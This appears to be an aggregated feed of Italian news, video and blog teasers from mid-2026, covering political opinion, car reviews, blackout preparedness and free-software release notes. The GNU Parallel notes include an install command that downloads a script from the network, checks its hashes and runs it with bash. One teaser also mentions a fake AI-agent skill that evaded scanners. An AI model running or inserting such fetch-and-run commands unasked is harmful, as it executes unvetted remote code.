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Documenti Segreti che Hanno Ricattato l'Italia: Calvi, Sindona, Carminati — Parte 1

29 Giugno 2026 ore 23:10

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Cosa succede quando i documenti più pericolosi d'Italia scompaiono nel momento esatto in cui potrebbero distruggere chi ha il potere? Tre casi. Tre archivi spariti. Tre misteri che non sono mai stati davvero chiusi.

La notte del 16 luglio 1999, Massimo Carminati svuota 147 cassette di sicurezza nel caveau del Tribunale di Roma: non cerca denaro, cerca carte. Roberto Calvi lascia Londra con una borsa nera piena di documenti — viene trovato impiccato sotto il Blackfriars Bridge il mattino dopo. Michele Sindona costruisce la Lista dei 500, un elenco segreto di politici, industriali e militari che finisce nelle mani di Cosa Nostra come strumento di ricatto verso mezza Italia che conta.

Cosa trovi in questo video:
✔️ Il colpo di Carminati al Tribunale di Roma e il legame con Mafia Capitale
✔️ La borsa nera di Roberto Calvi e i documenti che avrebbero dovuto salvarlo
✔️ La Lista dei 500 di Sindona: chi c'era e perché è sparita
✔️ Come i documenti riservati diventano armi di ricatto nelle mani sbagliate
✔️ I tre archivi scomparsi che nessun processo ha ancora restituito
✔️ L'anteprima della Parte 2: memoriale Moro, agenda rossa Borsellino, bobine Tom Ponzi

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BAD DRIVERS OF ITALY dashcam compilation 6.29 - NO GRAZIE

29 Giugno 2026 ore 18:00

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L’Italia delle startup è cresciuta, ma la sfida è diventare un paese capace di costruire grandi aziende tecnologiche globali

29 Giugno 2026 ore 17:02
L’ecosistema startup italiano è maturato: più capitali, più talenti, più ambizione. Ma il punto non è misurarsi con chi è avanti, è capire quali problemi e quali punti di forza possono permetterci di costruire aziende globali partendo dall’Italia

MEK e Sionismo, come l’Albania rischia di diventare la seconda Israele

24 Giugno 2026 ore 19:03

  Di Alireza Niknam   Negli ultimi anni, il nome dell’Albania è stato citato più che mai in relazione a progetti e attori stranieri. Questo piccolo Paese dei Balcani, che un tempo cercava di presentarsi come modello di stabilità e sviluppo nell’Europa sud-orientale, si trova ora a dover affrontare seri interrogativi riguardo alla propria autonomia […]

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Un ferito di Gaza racconta le ventiquattro ore trascorse sotto un albero, dove dolore, morte, memoria e speranza si sono intrecciati nella guerra

24 Giugno 2026 ore 12:03

    Pensavo di sapere cosa fosse la sofferenza, finché non l’ho vissuta davvero. Quello che ho scoperto era diverso, strano e doloroso. Com’è curioso il dolore. Nonostante la sua amarezza, nonostante il nostro desiderio di starne lontani quanto l’oriente è lontano dall’occidente, quando arriva c’è in esso una certa dolcezza. Sì, dolcezza. Per molto […]

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Il Pacchetto primavera della Ue e il pacco del Governo Meloni

24 Giugno 2026 ore 08:03

  Di ConiareRivolta.org   Per comprendere quale sarà l’impatto più duraturo del Governo Meloni sugli assetti economici dell’Italia, è sufficiente guardare alla recente Comunicazione della Commissione europea sul cosiddetto “Pacchetto primavera”, quell’insieme di raccomandazioni che la Commissione europea indirizza agli Stati membri dell’Unione per orientare politiche di bilancio e riforme. È il cuore della disciplina fiscale […]

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Addio a Vito Monaco, i funerali ad Abano Terme il 27 Giugno

24 Giugno 2026 ore 07:03

  La Redazione di ComeDonChisciotte.org esprime le più sentite condoglianze alla famiglia, agli amici e ai colleghi del giornalista Vito Monaco, scomparso all’età di 81 anni. Monaco era volto notissimo dell’emittente tv Canale Italia.   I funerali si terranno sabato 27 giugno alle 9.30 nel Duomo di Abano Terme.       

L'articolo Addio a Vito Monaco, i funerali ad Abano Terme il 27 Giugno proviene da Come Don Chisciotte.

"Non guardare giù" - BACKFLIP SUL PONTE SOSPESO NEL VUOTO

29 Giugno 2026 ore 14:00

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Superare il mio limite è sempre il mio obbiettivo ma questa volta ho superato una delle mie paure più grosse: le vertigini. Sono voluto andare su questo ponte tibetano sospeso per provare una delle imprese più pazze che ho mai fatto: backflip in mezzo al ponte!

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“Il vantaggio competitivo per chi fa informazione è la fiducia, non più l'imparzialità”. La sovranità editoriale secondo Alex Lieberman

29 Giugno 2026 ore 06:50
Per il fondatore di Morning Brew i lettori oggi cercano anzitutto una voce in cui riconoscersi. “La sovranità? Si ottiene investendo sui giornalisti”. Nella sua nuova iniziativa imprenditoriale, centrata sull'AI, monetizza con consulenze e formazione

unifont @ Savannah: Unifont 17.0.05 Released

29 Giugno 2026 ore 01:20

28 June 2026 Unifont 17.0.05 is now available.  This is a minor release aligned with Unicode 17.0.0.

This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  See the ChangeLog file for details.

Download this release from GNU server mirrors at:

     https://ftpmirror ... /unifont-17.0.05/

or if that fails,

     https://ftp.gnu.o ... /unifont-17.0.05/

or, as a last resort,

     ftp://ftp.gnu.org ... /unifont-17.0.05/

These files are also available on the unifoundry.com website:

     https://unifoundr ... /unifont-17.0.05/

Font files are in the subdirectory

     https://unifoundr ... 0.05/font-builds/

A more detailed description of font changes is available at

      https://unifoundr ... nifont/index.html

and of utility program changes at

      https://unifoundr ... nt-utilities.html

Information about Hangul modifications is at

      https://unifoundr ... hangul/index.html

and

      http://unifoundry ... l-generation.html

Incido mia figlia in una sfera di cristallo - xTool F2 ULTRA UV

28 Giugno 2026 ore 18:00

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Affiliazione xTool
https://www.xtool.eu/it-it/products/xtool-f2-ultra-uv-5w-uv-laser-engraver?ref=bcbapwjg&utm_medium=influencer&utm_source=goaffpro&utm_term=5029
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14:27 - Incido mia figlia dentro una sfera di cristallo
13:25 - Artwork by Riri Zaurahel https://linktr.ee/ririzaurahel
🥼SUPPORTO AL CANALE:
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🪛SOLO per Sponsor e affiliati: mvvblogbusiness@gmail.com
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Timeline
00:00 - Introduzione e presentazione del laser xTool F2 Ultra
01:09 - Unboxing e montaggio del macchinario
03:40 - Analisi delle lenti e dei galvanometri
05:37 - Installazione del sistema di purificazione dell'aria
06:29 - Calibrazione e allineamento del laser
07:19 - Primo test di incisione su metallo e legno
08:35 - Scultura 3D e bassorilievo su legno e pietra
10:29 - Scoperchiamento di circuiti integrati (microchip)
11:39 - Incisione rotante su valvole termoioniche
13:25 - Incisione 3D all'interno di un blocco di cristallo con Riri Zaurahel
14:27 - Incido mia figlia dentro una sfera di cristallo
15:53 - Funzione di riconoscimento automatico su oggetti multipli
16:50 - Conclusioni e saluti finali
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Modelli 3D e 2D che ho creato per il video
https://drive.google.com/file/d/16NRCW1uxc5B5Mogs52M3akQE3J-PPWBu/view?usp=sharing


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Ham Radio – Treffen unter Freunden

28 Giugno 2026 ore 12:50

Drei Tage lang traf sich die internationale Amateurfunk-Gemeinschaft an der Ham Radio in Friedrichshafen. Für die Schweizer YLs und OM stand das Wochenende vom 26. bis 28. Juni 2026 ganz im Zeichen des Netzwerkens: Alte Freunde treffen und neue Kontakte knüpfen prägten das Geschehen am Stand der USKA.

Der direkte Austausch stand im Mittelpunkt. Viele angereiste Funkbegeisterte nutzten die Gelegenheit, um Fachgespräche zu vertiefen und bestehende Kontakte aufzufrischen. «Der persönliche Schwatz hier in den Hallen ist wirklich etwas sehr Spezielles, vor allem, wenn man sich sonst nur über den Transceiver trifft», bilanzierte ein Schweizer Besucher am Samstagabend.

Anstossen auf den Ham-Spirit

Zu den Höhepunkten des Messeprogramms gehörten die traditionellen Apéros am Stand der USKA, die am Freitag und am Samstag stattfanden (im Bild: Apéro am Samstag). Die Resonanz war an beiden Anlässen sehr gross: Jeweils rund 200 Gäste haben miteinander auf den Ham-Spirit angestossen.

Angesichts der hohen Temperaturen an diesem Wochenend griffen die Besucher neben Wein, Orangensaft und Knabbersnacks vor allem zu einer Erfrischung: viel Wasser. Die Logistik vor Ort funktionierte reibungslos und bot den passenden Rahmen, um ungezwungen miteinander ins Gespräch zu kommen.

Rundum gelungene Messe

Nach drei intensiven Messetagen bleibt ein positives Fazit. Ein grosses Dankeschön geht an alle Teilnehmerinnen und Teilnehmer, die die Veranstaltung mit Leben gefüllt haben. Gleichzeitig verdient die Leistung der Messeleitung Anerkennung: Ein grosses Kompliment geht an die Verantwortlichen in Friedrichshafen für die Organisation einer einmal mehr rundum gelungenen Ham Radio.

Published: HB9HGH 2026-06-28 12:50:02

parallel @ Savannah: GNU Parallel 20260622 ('Rape Gang Inquiry') released [stable]

27 Giugno 2026 ore 12:24

GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
    -- boomertsfx@reddit

New in this release:

  • testsuite reorganized.
  • Bug fixes and man page updates.


GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.


About GNU Parallel


GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

  • Give a demo at your local user group/team/colleagues
  • Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
  • Get the merchandise https://gnuparall ... igns/gnu-parallel
  • Request or write a review for your favourite blog or magazine
  • Request or build a package for your favourite distribution (if it is not already there)
  • Invite me for your next conference


If you use programs that use GNU Parallel for research:

  • Please cite GNU Parallel in you publications (use --citation)


If GNU Parallel saves you money:



About GNU SQL


GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.


About GNU Niceload


GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

Dacia Duster full hybrid, i consumi reali del Centro Prove Quattroruote

6 Agosto 2026 ore 18:51
La Dacia Duster è una delle SUV di maggior successo in Italia: piace perché è un'auto di sostanza, pratica, e con un ottimo rapporto qualità prezzo. La nuova generazione, che ha debuttato nel 2024, ha adottato uno stile più moderno e personale. Anche a bordo, dove si trova un abitacolo più attento alla robustezza che ai materiali morbidi. La Duster è lunga 434 centimetri, larga 181 e alta 166, con un passo di 266 cm: buona l'abitabilità, anche per chi siede dietro. Il bagagliaio, nelle rilevazioni del Centro prove, mette a disposizione 407 litri reali. Dacia Duster Hybrid 155: motore La Dacia Duster è disponibile con diverse motorizzazioni, ma la più interessante per il mercato italiano è la full hybrid di provenienza Renault da 158 CV. Sviluppato dalla Horse Powertrain (joint venture tra Renault, Geely e Aramco), prevede un 1.8 quattro cilindri aspirato abbinato a due unità a corrente: una che dà trazione alle ruote nella marcia in elettrico (anche in supporto al motore termico), e l'altra che ricarica la batteria e gestisce il cambio multimodale. Dacia Duster Hybrid 155: consumi reali *Prezzo della benzina al 24/06/2026: 1,823 /litro Nella Prova su strada, pubblicata su Quattroruote di aprile 2026, la Dacia Duster Hybrid 155 ha ottenuto 4 stelle su 5 alla voce consumi. Il motore è capace di offrire il giusto brio e numeri contenuti, pur se non da record. Il passaggio dall'1.6 all'1.8 non ha portato vantaggi, ma le auto assetate sono altre: lo dimostrano, per esempio, i 24 km/l in città, dove però il powertrain precedente aveva fatto registrare percorrenze migliori (27,5 km/l). Progressi anche nei risultati in autostrada (13,1 km/litro anziché 12,2).  Dacia Duster Hybrid 155: gamma e allestimenti La Dacia Duster con il motore full hybrid da 155 CV non è disponibile nell'allestimento base Essential, ma a partire da quello intermedio Expression. Di serie telecamera posteriore, cerchi di lega da 17", quadro strumenti digitale da 7" e infotainment da 10" (con connettività wireless per Apple CarPlay e Android Auto), sensore pioggia e quattro finestrini elettrici. La Extreme aggiunge i fendinebbia, dettagli interni in color rame, rivestimenti in Tep MicroCloud lavabile, ingresso senza chiave e barre al tetto modulari. La Journey si distingue per i cerchi da 18", il climatizzatore automatico, il navigatore connesso, l'impianto stereo Arkamys a 8 altoparlanti e la ricarica a induzione per lo smartphone. Dacia Duster Hybrid 155: prezzi Duster Hybrid 155 Expression: 26.650 euroDuster Hybrid 155 Journey: 28.200 euroDuster Hybrid 155 Extreme: 28.200 euro Consumi reali, tutte le nostre prove autoAudi Q3 Sportback TDIDacia Duster Hybrid 155Fiat 500 HybridHonda Prelude 2.0 HEVHyundai Tucson 1.6 HEVRenault Clio E-TechToyota Aygo X 115 Hybrid

Pillole: non ti sei ammalato. Sei stato arruolato

26 Giugno 2026 ore 19:03

  Di Joshua Stylman   Pillole per svegliarsi, pillole per dormire Pillole, pillole, pillole ogni giorno della settimana Pillole per camminare, pillole per pensare Pillole, pillole, pillole per la famiglia – St. Vincent   Il mondo sta impazzendo, o è solo che tutti prendono qualcosa? Mi guardo intorno e, sinceramente, non riesco più a capirlo. […]

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La City contro la Russia? Dietro la crisi europea il ritorno dell’antica guerra tra il mare e la terra

26 Giugno 2026 ore 12:03

  Di Nicola Bielli per ComeDonChisciotte.org “Britannia rules the waves” di Nicholas Habbe: Britannia – armata di lancia, elmo e scudo in rilievo con le armi reali britanniche – è seduta in una quadriga insieme a Nettuno, armata del suo tridente. Mentre l’Europa assiste all’ennesima escalation del confronto tra NATO e Russia, una domanda continua […]

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Prof. Andrea Zhok: “La cancellazione dei confini nazionali è funzionale ai grandi interessi finanziari”

26 Giugno 2026 ore 08:03

    Federico Dal Cortivo per il quotidiano l’Adige di Verona ha intervistato il prof. Andrea Zhok filosofo accademico, professore di antropologia filosofica e filosofia morale presso l’Università di Milano, ricercatore e saggista. Ha curato la prefazione del saggio di Frank  Furedi,  professore di Sociologia all’Università del Kent, a Canterbury “I confini contano. Perché l’umanità deve riscoprire l’arte […]

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Stati Uniti-Iran: il cessate il fuoco di una guerra che Washington non può più sostenere

25 Giugno 2026 ore 19:03

  Di Ali Ahmadi, The Cradle   L’accordo quadro che ha posto fine alla guerra del 2026 con l’Iran è stato interpretato dalla maggior parte di Washington come una concessione. I commentatori conservatori considerano il memorandum d’intesa (MoU) come una sorta di “ricompensa” concessa a un Paese che avrebbe dovuto essere lasciato a fare i […]

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La rana, lo scorpione e il mondo del dissenso

25 Giugno 2026 ore 12:03

  Di Guido Cappelli   Le ultime elezioni politiche, nell’ormai lontano settembre 2022, videro la partecipazione di ben tre liste che erano espressione, in varia misura, di quell’“area del dissenso” nata e cresciuta al calor delle lotte con la follia pandemica e il mostruoso dispositivo autorizzatorio noto come green pass‒ un vulnusalla libertà civile e […]

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Falsa skill elude gli scanner e a raggiunge più di 26.000 agenti AI

21 Giugno 2026 ore 13:25

La rapida diffusione degli Agenti AI sta creando un ecosistema sempre più complesso nel quale modelli linguistici, strumenti esterni e componenti aggiuntivi collaborano per svolgere attività operative. Questa architettura modulare, però, sta aprendo una nuova superficie di attacco che ricorda da vicino le vulnerabilità già viste nel mondo open source e nei marketplace di applicazioni. […]

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STRAGE DI VIAREGGIO, 17 ANNI DOPO: LA CASSAZIONE CHIUDE IL CERCHIO, MA IL SISTEMA RESTA IN PIEDI

26 Giugno 2026 ore 09:44

Ieri sera, 25 giugno 2026, la Quarta Sezione Penale della Corte di Cassazione ha reso definitive le condanne per la strage ferroviaria di Viareggio del 29 giugno 2009, in cui persero la vita 32 persone e oltre un centinaio rimasero ferite. Rigettati i ricorsi degli imputati, è confermata tra le altre la condanna a cinque anni per Mauro Moretti, ex amministratore delegato di Ferrovie dello Stato e RFI.

USB Toscana esprime vicinanza ai familiari delle vittime e a tutte le lavoratrici e i lavoratori ferroviari che per diciassette anni hanno tenuto viva la memoria e la battaglia per la giustizia.

Una giustizia parziale, strappata metro per metro

Questa condanna definitiva è un risultato importante, ma non cancella né le ferite di chi ha perso una persona cara, né quelle prodotte dal percorso giudiziario stesso. Nel 2021 la Cassazione aveva dichiarato prescritti i reati di omicidio colposo, non riconoscendo l'aggravante della violazione delle norme sulla sicurezza sul lavoro. Trentadue persone morte, e l'omicidio andato in prescrizione: un paradosso che rivela tutto il limite di un sistema che tutela i potenti più delle vittime. Tutte le condanne riguardano il solo reato di disastro ferroviario colposo, l'unico sopravvissuto alla ghigliottina della prescrizione. Come ricordano i familiari: la prescrizione non è un'assoluzione.

Le responsabilità sono di classe, non solo individuali

Nel processo è emersa una deliberata politica aziendale improntata al risparmio sulla sicurezza e alla massimizzazione dei profitti, con un rischio consapevolmente scaricato su lavoratori e cittadini. Quella notte non fu una fatalità: fu il frutto della ricerca del profitto a tutti i costi. I tagli al personale, la deregolamentazione della manutenzione, l'esternalizzazione a catena delle responsabilità erano il sistema. Moretti ne era il volto pubblico, non un'eccezione. Cinque anni di pena per 32 vite spezzate non è la giustizia che queste famiglie meritano. Lo ricorda bene Daniela Rombi, presidente de "Il Mondo che vorrei", che nella strage perse una figlia di ventuno anni: "Sette tribunali hanno detto che sono colpevoli e la prescrizione non è un'assoluzione. Per noi restano colpevoli anche dei reati prescritti."

La lotta deve continuare: salari, salute e sicurezza sul lavoro

Viareggio non è un caso isolato: è il punto più tragico di una linea che attraversa decenni di tagli, precarizzazione e smantellamento delle tutele. Ogni anno in Italia muoiono migliaia di lavoratrici e lavoratori, e la risposta giudiziaria arriva decenni dopo, ridotta dalla prescrizione. Non basta. USB si batte ogni giorno su tre fronti inscindibili: salari dignitosi, salute nei luoghi di lavoro, sicurezza reale — non quella scritta nei contratti e ignorata nei fatti. Lo abbiamo fatto nelle vertenze, negli scioperi contro i piani industriali che svuotano gli organici, nelle lotte di chi lavora in condizioni insicure senza voce per dirlo. La logica che ha prodotto Viareggio, il profitto prima delle persone, è la stessa che USB contrasta ogni giorno nei trasporti, nella logistica, nella scuola, nella sanità, nell'industria. Non si tratta di sicurezza come voce di bilancio: si tratta di vite umane da tutelare.

Alle famiglie che hanno lottato per diciassette anni diciamo: siete stati voi i veri protagonisti di questa storia. Noi non vi lasceremo da soli.

USB Toscana

BAD DRIVERS OF ITALY dashcam compilation 6.25 - FURGONE BIANCO

25 Giugno 2026 ore 18:00

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Blackout sempre più frequenti: siamo davvero preparati?

25 Giugno 2026 ore 10:40

Nell’aprile del 2025, la penisola Iberica con gran parte della Francia, affronta un blackout su larga scala per diverse ore, causato da un malfunzionamento della linea di distribuzione elettrica.

All’epoca parlammo già di questo episodio con un articolo ad hoc.

Quest’anno, purtroppo, è toccato al nostro paese.

Negli ultimi giorni diverse zone del Nord Italia sono rimaste improvvisamente senza energia elettrica. Guasti alle linee e cabine elettriche hanno lasciato centinaia di famiglie al buio per diverse ore. Episodi simili sono stati segnalati in numerose aree del Paese.

Per molti si è trattato semplicemente di un disagio temporaneo: qualche ora senza luce, il condizionatore fermo e il frigorifero spento. Ma questi eventi rappresentano anche un’occasione per fermarsi a riflettere su un aspetto che spesso diamo per scontato: quanto dipendiamo dall’energia elettrica?

Fino a pochi decenni fa un’interruzione della corrente significava principalmente accendere una candela e attendere il ritorno dell’energia. Oggi la situazione è completamente diversa. La nostra vita quotidiana ruota attorno all’elettricità: lavoriamo da casa, comunichiamo attraverso Internet, paghiamo con strumenti elettronici, utilizziamo cancelli automatici, pompe dell’acqua, sistemi di allarme, elettrodomestici e dispositivi medici. Basta osservare una normale abitazione per rendersi conto di quanto ogni attività dipenda, direttamente o indirettamente, dalla presenza della corrente.

Naturalmente nessuno può affermare che questi blackout siano il segnale di un imminente collasso della rete elettrica italiana. Sarebbe una conclusione affrettata e priva di fondamento. Tuttavia è altrettanto vero che le reti di distribuzione stanno affrontando nuove sfide. Le estati sempre più calde comportano un utilizzo massiccio dei climatizzatori, gli eventi meteorologici estremi diventano più frequenti e molte infrastrutture, realizzate decenni fa, richiedono continui interventi di manutenzione e ammodernamento. In questo contesto è ragionevole aspettarsi che episodi di interruzione dell’energia possano verificarsi con maggiore frequenza rispetto al passato.

Il Sole 24 Ore spiega bene cosa sta accadendo, cosi come il Post.

La preparazione, però, non nasce dalla paura. Nasce dal buon senso.

Uno dei principi fondamentali del prepping consiste proprio nel prepararsi agli eventi più probabili, non necessariamente a quelli più catastrofici. Un blackout di alcune ore è infinitamente più probabile di molti altri scenari di cui spesso si parla sui social. Eppure sono proprio questi piccoli eventi a coglierci impreparati.

Provate ad immaginare una normale serata estiva. Fuori ci sono oltre trenta gradi, il sole è appena tramontato e improvvisamente tutta la casa rimane al buio. Il condizionatore si spegne, il Wi-Fi scompare, il cancello automatico non si apre più e la batteria del telefono è quasi scarica. Se l’interruzione dovesse protrarsi per qualche ora, anche il frigorifero inizierebbe lentamente a perdere la propria capacità di conservazione e molte persone inizierebbero a chiedersi semplicemente: “E adesso cosa faccio?”

Perché aumentano i blackout?

Le principali cause sono:

  • temperature sempre più elevate;
  • utilizzo contemporaneo di milioni di climatizzatori;
  • infrastrutture elettriche datate in alcune aree;
  • temporali, vento e alberi che danneggiano le linee;
  • guasti improvvisi alle cabine di trasformazione.

In molti casi non è la produzione di energia a mancare, ma è la rete di distribuzione locale ad andare in difficoltà.

Nota Ecologica

Caldo, blackout e città sempre più invivibili: non è un caso.

I cavi elettrici che portano energia nelle case passano sottoterra.

Quando aumenta l’uso dei condizionatori, si surriscaldano e devono disperdere più calore.

Il problema? Coprendo il suolo naturale con asfalto e cemento, nelle città le temperature salgono molto di più (a Torino oltre 65°C sull’asfalto). Questo impedisce ai cavi di raffreddarsi.

Risultato:

  • blackout
  • cibo che si rovina
  • allarmi che impazziscono
  • Persone fragili a rischio vita

E non finisce qui:

  •  Temperature più alte = nubifragi più violenti
  •  Strade, cantine e garage allagati
  •  Altri danni, altri costi.

Il punto è semplice: Il consumo di suolo non è progresso. Il È uno spreco che crea problemi reali per tutti. (nota personale a cura di Lavino Pasquale)

Cosa succede durante un blackout?

Molti pensano semplicemente:

“Si spegne la luce.”

In realtà gli effetti possono essere molto più ampi.

Ad esempio:

  • il frigorifero smette di raffreddare;
  • il congelatore inizia lentamente a scongelarsi;
  • modem e Wi-Fi si spengono;
  • cancelli elettrici potrebbero non aprirsi;
  • ascensori fuori servizio;
  • pompe dell’acqua ferme dove presenti;
  • POS e bancomat potrebbero non funzionare;
  • distributori di carburante temporaneamente inutilizzabili;
  • difficoltà nelle comunicazioni se le batterie delle antenne si esauriscono.

La differenza tra vivere questa situazione con tranquillità oppure con ansia spesso dipende da pochi semplici accorgimenti preparati in anticipo. Avere una torcia facilmente raggiungibile evita di cercare una candela al buio. Una power bank mantenuta carica consente di utilizzare il telefono anche dopo diverse ore. Una piccola radio portatile permette di ricevere informazioni nel caso in cui le reti dati risultino congestionate o temporaneamente non disponibili. Sono oggetti di uso comune, economici e facilmente reperibili, ma che acquistano un valore enorme proprio quando vengono realmente utilizzati.

Anche il comportamento durante un blackout può fare la differenza. Una delle prime reazioni istintive è quella di aprire continuamente il frigorifero per controllare il cibo. In realtà ogni apertura disperde il freddo accumulato, riducendo il tempo di conservazione degli alimenti. Se lo sportello rimane chiuso, un frigorifero moderno riesce generalmente a mantenere una temperatura sicura per circa quattro ore, mentre un congelatore pieno può conservare gli alimenti anche per uno o due giorni.

Frigo e Congelatore – la prima preoccupazione

in caso di disservizio elettrico (blackout), il frigorifero è l’elettrodomestico che occupa il primo posto nei nostri pensieri.
Per ovvie ragioni perderà relativamente velocemente la capacità di raffreddamento degli alimenti, così come quella di congelamento, la cosa sarà più celere nel momento in cui apriamo lo sportello.
Ebbene c’è una alternativa di backup anche per questo.
Il pozzetto congelatore ad apertura verticale lavora meglio.
Il frigorifero ha lo sportello ad apertura frontale, per tanto l’aria fredda incamerata, essendo più pesante e posizionata sul fondo della camera, ad ogni apertura uscirà completamente facendo entrare aria più calda.
Il pozzetto congelatore invece aprendosi verso l’alto mantiene più facilmente l’aria fredda incamerata, oltre a consumare meno corrente di un qualsiasi frigorifero.

Il dubbio spontaneo che sorge è: il pozzetto però congela! È possibile con qualche accorgimento intelligente adattarne l’uso come frigorifero.

Prima di tutto occorre procurarsi una presa termostata con sonda, quest’ultima andrà inserita all’interno del congelatore in modo da rilevare la temperatura.

La presa poi va collegata ad una power station in modo da alimentare il pozzetto in caso di blackout.

Impostare la temperatura della presa termostata sui 4°\6° che è orientativamente quella del frigorifero.

Collegare poi un pannello solare alla power station.

Come funziona il tutto? Il pozzetto comincerà a raffreddare, ma quando raggiungerà la temperatura impostata sulla presa, questa toglierà alimentazione fino a quando la temperatura del pozzetto non incomincia ad essere più alta di quella impostata

Le prime cose da fare

Quando manca la corrente:

  1. mantenere la calma
  2. verificare se il blackout riguarda solo casa propria
  3. controllare il contatore
  4. osservare se anche i vicini sono senza corrente
  5. evitare di aprire continuamente frigorifero e congelatore
  6. scollegare gli apparecchi elettronici più delicati
  7. lasciare accesa una sola luce per capire quando ritorna l’energia

Vale la pena ricordare anche che non tutti i sistemi di pagamento continuano a funzionare durante un’interruzione prolungata. Alcuni negozi potrebbero non riuscire ad utilizzare i terminali POS, i distributori di carburante potrebbero essere fuori servizio e perfino la rete telefonica, se il blackout dovesse protrarsi a lungo, potrebbe iniziare a risentirne con il progressivo esaurimento delle batterie di backup installate presso le stazioni radio base.

Per questo motivo l’Associazione Italiana Prepper invita da sempre a sviluppare una cultura della resilienza domestica. Non significa riempire il garage di attrezzature costose o immaginare scenari apocalittici. Significa semplicemente essere in grado di affrontare serenamente le prime ventiquattro o quarantotto ore di un imprevisto, riducendo lo stress e aumentando la sicurezza della propria famiglia.

Prepararsi ad un blackout è probabilmente una delle forme di prevenzione più semplici, economiche e concrete che ogni cittadino possa mettere in pratica. Una torcia, una radio, una riserva d’acqua, qualche alimento pronto al consumo e una fonte di energia portatile rappresentano un investimento minimo rispetto alla tranquillità che possono offrire quando tutto, improvvisamente, si spegne.

Il kit anti-blackout

L’Associazione Italiana Prepper consiglia di predisporre un piccolo kit dedicato.

Illuminazione

  • torcia LED
  • lampada ricaricabile
  • batterie di ricambio

Energia

  • power bank
  • batterie ricaricabili
  • caricatore da auto
  • power station

Comunicazioni

  • radio AM/FM
  • radio PMR446
  • telefono sempre carico

Alimentazione

  • acqua potabile
  • alimenti che non richiedono cottura

Sicurezza

  • candele (solo se utilizzate con attenzione)
  • fiammiferi
  • accendino

Comfort

  • ventilatore USB
  • ghiaccio sintetico per frigorifero
  • coperta termica (utile sia in inverno che in estate)

In fondo è proprio questa la filosofia del prepping: non aspettare che si verifichi un’emergenza per iniziare a chiedersi cosa sarebbe stato utile avere. Prepararsi prima significa affrontare dopo qualsiasi imprevisto con maggiore lucidità, sicurezza e consapevolezza. Perché la resilienza non si improvvisa nel momento del bisogno: si costruisce un piccolo passo alla volta, molto prima che si spengano le luci.

Box AIP – La Checklist del Blackout

Puoi affrontare serenamente 24 ore senza corrente?

  • ☐ Ho almeno due torce funzionanti.
  • ☐ Ho batterie di ricambio.
  • ☐ Ho una power bank sempre carica.
  • ☐ Ho una power station sempre carica.
  • ☐ Ho una radio a batterie.
  • ☐ Ho acqua potabile per almeno tre giorni.
  • ☐ Ho alimenti pronti al consumo.
  • ☐ Tutta la famiglia sa dove si trova il kit di emergenza.
  • ☐ So come aprire manualmente il cancello o il garage.
  • ☐ Ho salvato sul telefono i numeri utili del distributore di energia.

L'articolo Blackout sempre più frequenti: siamo davvero preparati? proviene da Associazione Italiana Preppers.

L’economia dei token e il vero prezzo dell’intelligenza artificiale

24 Giugno 2026 ore 14:00

Immagine in evidenza rielaborata con Intelligenza Artificiale

Negli ultimi mesi, molte delle aziende che avevano sottoscritto contratti con OpenAI o Anthropic hanno avuto una brutta sorpresa. Lo scorso aprile, la società di noleggio auto con conducente Uber ha per esempio scoperto di aver già bruciato tutto il budget annuale destinato all’intelligenza artificiale. Una situazione simile si è verificata anche dalle parti del gigante dei supermercati Walmart, che ha introdotto in tutta fretta un limite all’utilizzo dei large language model da parte dei suoi dipendenti.

